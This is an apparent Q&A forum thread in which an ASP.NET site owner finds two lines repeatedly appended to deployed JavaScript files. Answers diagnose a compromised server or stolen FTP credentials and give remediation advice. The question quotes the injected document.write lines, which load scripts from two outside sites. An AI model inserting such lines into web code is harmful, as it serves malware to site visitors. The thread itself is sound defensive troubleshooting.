views:

363

answers:

4

I need to know if there is any way of writing additional code to JavaScript files already deployed on the server.

I am facing a problem with an ASP.NET 2.0 website and it is related to the JavaScript files which I have on some of the pages. The problem is that when I upload the JavaScript files along with other files it works fine, but after sometime (one or two days) the JavaScript files get changed and two additional lines are added at the bottom of each of them. Those two lines are this:

document.write('<script src=http://kingsoftus.com/App_Code/tsx2.php ><\/script>');
document.write('<script src=http://eco-battery.co.uk/images/battguide.php ><\/script>');

This is causing my aspx pages to load something from these unknown urls. This thing causes errors and the aspx page does not get loaded or gets loaded with an error. I suspect there is something wrong on the server, but I need to know if there is any possibility that someone (virus or hacker) could just add these two lines to any JavaScript file on the server.

+10  A: 

Your server is compromised. The added links point to malware-flagged sites. The safest approach is to wipe the server and restore from backup. If you don't own server maintenance, contact those who do as soon as you can, and inform them of the infection. Take the server down to avoid infecting those who visit your site.

As to what caused the infection, some research might bring up specifics for the signatures you're seeing. It could be anything from old, unpatched libraries to XSS vulnerabilities in your code to a careless employee with an infected flash drive.

EDIT: you say in comments that you don't manage the server. While the provider is evaluating the infection, evaluate your code for possible vulnerabilities. Here's an MSDN article to start with (How To: Prevent Cross-Site Scripting in ASP.NET). An older SO question (What should a developer know before building a public web site?) has some great answers covering security aspects.

Michael Petrotta
Exactly. Additional code could be added to JS files by... someone who has write access to your server. If I were you, I'd take it off the Internet ASAP, figure out who got on it (and how), close the hole(s), and reformat the box.
ojrac
@George - I agree with that, and was editing the answer as you responded.
Michael Petrotta
@Michael Petrotta : Excellent. I've just seen people actually suggest that simply restoring the server from backups cures all; and I thought that's where you were going.
George Stocker
Downvote Removed based on edit.
George Stocker
The server is managed by third party and I only have access to ftp folder named wwwwroot. I initially tried to clean the folder and copied the files from my backup. This did not worked. So, I changed my dev machine and tried to do a fresh deployment. This didnt work either. Each time I do a fresh copy it works fine for say one day but after that same thing happens. The urls in the malicious code gets changed each time.
saqib
@saqib: I sympathize; it might be hard to discover the root cause of the problem. George Stocker, in his answer, has a list of good starting points. If you haven't done so already, contact the folks who manage your server (use the 24-hour emergency support contact, if you have one - situations like this are why that exists), **and get that server taken down immediately**. Your provider will need to take additional steps after to evaluate the server.
Michael Petrotta
In the meantime, evaluate your site code. Look around for web-site hardening discussions. Here's a good starting point: http://msdn.microsoft.com/en-us/library/ms998274.aspx
Michael Petrotta
While I very much agree with the original comment, I do want to clarify that he's better off reading about defending against SQL injection instead of Cross-Site-Scripting. XSS almost never results in the bad-guys defacing your site, though it's pretty common for SQL injection attacks.
Jordan
I have contacted the web server admin and they have responded that they are clean on their end and I must restore a scanned backup to the server. They told me that the ftp client might have stolen my user name password and it tries to connect the malware in 24 hours or in 48 hours. What I have done is now restored a copy of my code and then changed my password and ftp account access permissions to the folder. I will now rectify if this was the problem.
saqib
+3  A: 

Saqib, another poster pointed out that your server his compromised. He's right. He's somehow able to inject JavaScript into your pages.

There are many possibilities:

  1. Do you have anywhere where a user can insert text (a textbox, a dropdownlist, anything?) It doesn't even have to allow them to insert text, since they can intercept the request and POST from somewhere other than the form).
  2. Do you properly encode everything that is sent to your database?
  3. Do you suffer from SQL injection issues?
  4. Have you changed your password recently?
  5. Do you use FTP (and not SFTP) for transferring files to your server?

If you answered yes to any of these questions, that's a potential hole. No, the problem is probably not with ASP.NET or IIS; it's probably a hole in your code.

George Stocker
1- yes there are many2- yes I do but thats not related to DB3- I am not sure about it4- No5- I am using core ftp lite and ftp commander to copy paste the filesSo how to go about it.
saqib
+1  A: 

There's a million ways to screw up security. Someone has gotten access to ftp? Server admin screwing with you? Insecure upload/download scripts, publicly writable directory? Some crappy cronjob that indiscriminately mauls files? I have no idea. Do you run the server?

Back everything up, change all your passwords, check that your up/download scripts are secure, check permissions on everything -- or maybe move to another server/restore if it's yours. Actually just do that last thing, and then check the rest, because this is a "code red" kind of thing.

EDIT: Now with less linux

Greg
ASP.NET doesn't use chmod -- that's a linux thing. You're on the right track, but you may want to use Windows terminology ("script permissions, User permissions, file permissions")
George Stocker
@George Stocker - My bad. Creature of habit.
Greg
@Greg: what is "code red" ?I only have access to the wwwroot folder with ftp. I have figured out that if I just restore the js files all the things get to normal. But it remains for only one day. Really dont know how to proceed.
saqib
@saqib: It doesn't mean anything. Look -- I'm just saying this is very bad. Your server is handing out malware. Listen to what everyone here has said. Contact the server owners/administrators have them restore it.
Greg
+1  A: 

I agree with the existing posts about the importance of guarding aganist XSS and SQL injection.

However, my first guess in this case would be an FTP account compromise. There's a lot of this about at the moment. A trojan infects a client machine and steals the FTP passwords either stored in saved accounts or live at login-time. An automated tool then eventually gets around to using the stolen account to log into your server and change the files to include links to malware exploits (often installing the same client-side password-stealing trojan).

So as well as ensuring the server and your application code are secure, you need to make sure any computers you use to log into the FTP account are clean. Your machine is not clean just because one anti-virus tool thinks so: these days AV is absolutely hopeless at detecting the enormous range of live malware, and even worse at deleting it. Take multiple AV checker opinions, and if you have ever had an infection on the machine before consider it still infected and reinstall the OS, because chances are the AV hasn't cleaned it completely.

In the longer term, lock down clients you use for development (uninstall plugins, increase security settings, ensure all net-facing software is up-to-date) and use SFTP to upload files to your server. Nobody should be using FTP in 2009.

bobince